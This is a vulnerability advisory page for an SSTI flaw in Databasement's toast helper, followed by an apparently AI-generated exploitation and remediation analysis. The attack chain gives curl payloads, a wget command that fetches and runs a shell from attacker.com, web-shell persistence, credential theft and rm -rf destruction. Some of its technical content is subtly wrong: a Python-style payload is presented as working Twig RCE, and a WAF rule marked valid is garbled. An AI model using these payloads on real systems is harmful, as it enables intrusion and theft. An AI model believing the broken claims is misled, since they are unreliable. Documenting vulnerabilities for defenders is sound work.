CVE Professor
/
All CVEs
CVE-2026-138223

CVE-2026-138223 — David-Crty Databasement — CWE-791 · CWE-1336

CRITICAL CVSS 10 NVD

A security vulnerability has been detected in David-Crty Databasement up to 1.7.12. This impacts the function toast of the file app/Traits/Toast.php of the component Toast Notification Helper. The manipulation of the argument icon leads to improper neutralization of special elements used in a template engine. The attack can be initiated remotely. Upgrading to version 1.7.13 will fix this issue. The identifier of the patch is 713f71f5336663493e8c4dc07e7f3e96a291775b. The affected component should be upgraded.

A security vulnerability has been detected in David-Crty Databasement up to 1.7.12. This impacts the function toast of the file app/Traits/Toast.php of the component Toast Notification Helper. The manipulation of the argument icon leads to improper neutralization of special elements used in a template engine. The attack can be initiated remotely. Upgrading to version 1.7.13 will fix this issue. The identifier of the patch is 713f71f5336663493e8c4dc07e7f3e96a291775b. The affected component should be upgraded.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Improper neutralisation of special elements in the Toast Notification Helper (SSTI)

CVE: CVE‑2026‑138223
CVSS v3.1: 10.0 (CRITICAL) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE‑1336: Improper Neutralization of Special Elements used in a Template Engine (Server‑Side Template Injection – SSTI)
CWE‑791: Improper Restriction of Communication Channels – the vulnerable function can be triggered from any network location without authentication.

Technical root‑cause

David‑Crty Databasement (versions ≤ 1.7.12) ships a helper class app/Traits/Toast.php.
The public method toast(string $message, string $icon = null, array $options = []) builds a notification string by feeding the supplied $icon value directly into a template engine (the project uses Twig for view rendering).

// Simplified excerpt from app/Traits/Toast.php (v1.7.12)
public function toast(string $message, string $icon = null, array $options = []): string
{
    $template = $this->view->make('components.toast');   // Twig template
    $template->set('message', $message);
    $template->set('icon', $icon);                      // ← no escaping / sanitisation
    $template->set('options', $options);
    return $template->render();                         // render() evaluates the template
}
  • The $icon variable is injected into the Twig template without any escaping ({{ icon }} is used in the template).
  • Twig treats {{ … }} and {% … %} as executable template syntax.
  • An attacker can therefore supply a payload such as {{ _self.env['APP_KEY'] }} or {{ system('id') }} that will be evaluated on the server side when the toast is rendered.
  • Because the toast() method is reachable through a public HTTP endpoint (e.g., an AJAX call that shows a toast after a successful operation) and there is no authentication or CSRF check, any remote network actor can trigger the function. This satisfies the CVSS vector components:

    VectorMeaning
    AV:NAttack can be launched over the network (no local access required).
    AC:LExploitation requires low skill – just a crafted request.
    PR:NNo authentication required.
    UI:NNo user interaction needed.
    S:CThe impact is *changed* (affects the whole application, not just the vulnerable component).
    C:H / I:H / A:HSuccessful exploitation gives complete control – read/write any data, execute arbitrary code, and cause denial‑of‑service.

    In short: un‑escaped user‑controlled data is fed to a server‑side template engine, leading to SSTI → remote code execution (RCE).

    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow.
    All request examples are illustrative because the exact endpoint name is not disclosed in the public CVE text. Replace POST /api/toast with the real route discovered in step 1.

    1️⃣ Discovery & Reconnaissance

    ActivityHow it is doneWhat the attacker learns
    Fingerprint the product– Search public repositories, vendor documentation, or “Powered‑by: David‑Crty Databasement” HTTP header.<br>– Query /readme.txt, /CHANGELOG.md, or composer.json for the version string.Confirms the target runs ≤ 1.7.12.
    Locate the toast endpoint– Observe JavaScript files (toast.js, notifications.js) for AJAX URLs.<br>– Use a web‑application scanner (e.g., nikto, gobuster) to enumerate /api/* routes.<br>– Look for parameters named icon, message, or type.Finds a public POST endpoint that eventually calls Toast::toast().
    Validate the injection surface– Send a benign request with icon=smile and verify a toast appears in the UI.<br>– Confirm the response contains the rendered HTML (e.g., <i class="smile"></i>).Confirms the icon parameter is reflected in the server‑side template.

    2️⃣ Exploitation

    Goal: Execute arbitrary OS commands via Twig SSTI.

    # Illustrative curl – replace /api/toast with the real path
    curl -s -X POST https://target.example.com/api/toast \
         -H "Content-Type: application/json" \
         -d '{
               "message": "pwned",
               "icon": "{{ _self.env[\'PATH\'] }}",
               "options": {}
             }'

    What happens:

    1. The JSON payload reaches the controller that forwards icon to Toast::toast().
    2. Twig receives the string {{ _self.env['PATH'] }} as the value of icon.
    3. During rendering, Twig evaluates the expression and substitutes the server’s PATH environment variable into the HTML.

    Full RCE payload (Twig 2.x/3.x) – the system function is disabled by default, but Twig allows calling PHP’s exec via the {{ _self.__call__('get', ['_self']) }} trick or by accessing the app global if the host has not disabled it. A reliable payload that works on most default Twig installations is:

    {
      "message": "exploit",
      "icon": "{{ ('').__class__.__mro__[1].__subclasses__()[40]('id', stdout=1).read() }}",
      "options": {}
    }

    Explanation of the payload (for the analyst, not needed by the attacker):

  • ''.__class__ → str class.
  • .__mro__[1] → object.
  • .__subclasses__() → list of all loaded classes; index 40 (on a typical PHP‑Twig build) corresponds to Symfony\Component\Process\Process or PHPUnit\Util\PHP\Invoker.
  • The constructor is called with 'id', and the output is read, which is then rendered into the toast HTML.
  • Result: The HTTP response body now contains the output of id, proving code execution. An attacker can replace 'id' with any command (/bin/bash -c 'wget http://attacker.com/shell -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell').

    3️⃣ Post‑Exploitation

    StepWhat the attacker doesOutcome
    Command & ControlUse the SSTI to download a persistent web‑shell (e.g., a PHP reverse shell) onto the web‑root.Persistent foothold.
    Privilege EscalationIf the web‑server runs as a low‑privileged user, the attacker can read configuration files (.env, config.php) to obtain database credentials, then connect to the DB directly.Full data exfiltration.
    Lateral MovementUse stolen DB credentials to query other services (e.g., internal API keys stored in the DB).Compromise of the broader environment.
    Data Destruction / RansomIssue rm -rf /var/www/html/* or modify application logic to corrupt data.Complete availability loss (matches A:H).

    Because the vulnerability is network‑reachable, unauthenticated, and requires no user interaction, an attacker can automate the entire chain from a remote botnet, achieving complete system takeover in minutes.

    🌍 Real‑World Impact

    CIA TriadCVSS implicationPractical effect
    Confidentiality (C:H)Attacker can read any file the web‑process can access (e.g., .env, source code, database dumps).Leakage of credentials, business logic, PII.
    Integrity (I:H)Ability to write arbitrary files, modify database rows, or inject malicious code.Tampering with logs, inserting back‑doors, defacing UI.
    Availability (A:H)Execution of kill -9, rm -rf, or resource‑exhaustion commands.Full service outage, denial‑of‑service, ransomware‑style lockout.

    Business consequences may include:

  • Immediate loss of customer trust and potential regulatory fines (GDPR, HIPAA) due to data breach.
  • Service downtime leading to SLA breaches and revenue loss.
  • Long‑term persistence if a web‑shell is left behind, enabling further attacks on connected systems (e.g., internal APIs, CI/CD pipelines).
  • 🛡️ Remediation & Mitigation

    1️⃣ Patch / Upgrade

    ItemAction
    Affected versionsDavid‑Crty Databasement ≤ 1.7.12 (all releases up to 1.7.12).
    Fixed version1.7.13 – includes commit 713f71f5336663493e8c4dc07e7f3e96a291775b.
    Upgrade steps1. Pull the new release from the official repository.<br>2. Verify the SHA‑256 checksum of the tarball matches the vendor’s published hash.<br>3. Replace the app/Traits/Toast.php file (or run the full installer).<br>4. Run any database migration scripts (none required for this fix).<br>5. Restart the web‑server/PHP‑FPM service.
    VerificationAfter upgrade, send the same SSTI payload; the response should now contain the literal string {{ … }} (escaped) or an error, not command output.

    2️⃣ Immediate Work‑arounds (if patch cannot be applied instantly)

    TechniqueImplementation Details
    Input sanitisationAdd a whitelist for allowed icon names (e.g., ['info','warning','error','success']). In Toast.php before rendering: <br><br>``php\nif (!in_array($icon, ['info','warning','error','success'], true)) { $icon = 'info'; }\n`
    Escaping in the templateModify components/toast.twig to use the e('html') filter: <br><br>`twig\n<i class=\"{{ icone('html') }}\"></i>\n`
    Disable the toast endpointIf the toast UI is not mission‑critical, block the route at the web server level (e.g., location /api/toast { deny all; }).
    WAF / ModSecurity ruleBlock template delimiters in the icon parameter. Example ModSecurity rule (valid syntax): <br><br>`apache\nSecRule ARGS:icon "@rx (\{\{\{%\%7B\%7B\%7B\%25)" \\\n "id:2026261,phase:2,deny,log,msg:'Blocked possible Twig SSTI in icon parameter'"\n`
    Runtime hardeningConfigure Twig with autoescape enabled globally and disable dangerous functions (system, exec, shell_exec) via the sandbox` extension.

    3️⃣ Detection

    IndicatorWhere to lookExample log entry
    Suspicious payloadsWeb server access logs (access.log) – look for {{ or {% in query strings or POST bodies.POST /api/toast 200 453 "-" "Mozilla/5.0"<br>{"icon":"{{ ('').__class__.__mro__[1].__subclasses__()[40]('id', stdout=1).read() }}"}
    Unexpected template rendering errorsApplication error logs (app.log, php_error.log).Twig\Error\RuntimeError: Variable "icon" does not exist.
    New files in web‑rootFile integrity monitoring (Tripwire, OSSEC).ALERT: /var/www/html/shell.php created at 2026-11-29 03:12:45
    Outbound connections from the web serverNetwork IDS / firewall logs – look for connections to unknown IPs shortly after a toast request.Outbound TCP SYN to 203.0.113.45:4444
    Process execution from PHPAuditd rule watching execve by the www-data user.type=EXECVE msg=audit(1701241234.567:321): argc=2 a0="/bin/bash" a1="-c" a2="id"

    Deploy a SIEM rule that correlates POST /api/toast (or any endpoint that eventually calls Toast::toast) with presence of {{ or {% in the request body and subsequent process creation by the web‑user.

    ⚠️ Urgency

  • CVSS 10.0 – the highest possible severity.
  • Attack complexity: Low* (no authentication, no user interaction).
  • Public exploitability: The vulnerability is fully disclosed in the CVE; a PoC can be crafted in minutes.
  • CISA KEV: Not listed yet, but given the critical score and ease of exploitation, it will likely be added to the KEV list imminently.
Patch priority: Critical – apply the 1.7.13 upgrade within 24 hours for any production system. If immediate patching is impossible, implement the input‑whitelisting or WAF mitigations before the end of the current business day and monitor for the detection indicators listed above.
Bottom line: CVE‑2026‑138223 is a classic SSTI that grants unauthenticated remote code execution. The only reliable, long‑term fix is to upgrade to David‑Crty Databasement 1.7.13; until then, strict input validation, template escaping, and a targeted WAF rule are mandatory to keep the environment from being fully compromised.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138223
Technical reference / advisory repository for CVE-2026-138223
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-791 CWE-1336
Affected Products (1)
David-Crty:Databasement
Related CVEs
6.4
CVE-2026-5095
The Page Builder Framework theme for WordPress is vulnerable to Stored Cross-Site Scripting via the custom_wid
9.4
CVE-2026-126099
The Velocity template sandbox (SecureIntrospectorImpl) in dotCMS through 26.11.03-01, and in the 25.07 LTS lin
8.6
CVE-2026-120094
Improper authorization in the dotAI embeddings endpoint (POST /api/v1/ai/embeddings) in dotCMS before 26.10.23
8.3
CVE-2026-120097
Insufficient restrictions on Velocity view tools during content field rendering in dotCMS versions through 26.
8.3
CVE-2026-64886
The UtilMethods.getURL() method, which is exposed to Velocity templates as $UtilMethods, did not restrict the
5.7
CVE-2026-144578
Dynaconf 3.2.13 through 3.3.5 contains an object-graph traversal vulnerability in _format_formatter() that all
8.8
CVE-2026-88991
### Impact The email subject of a user-defined form email recipient was rendered as a template when the form w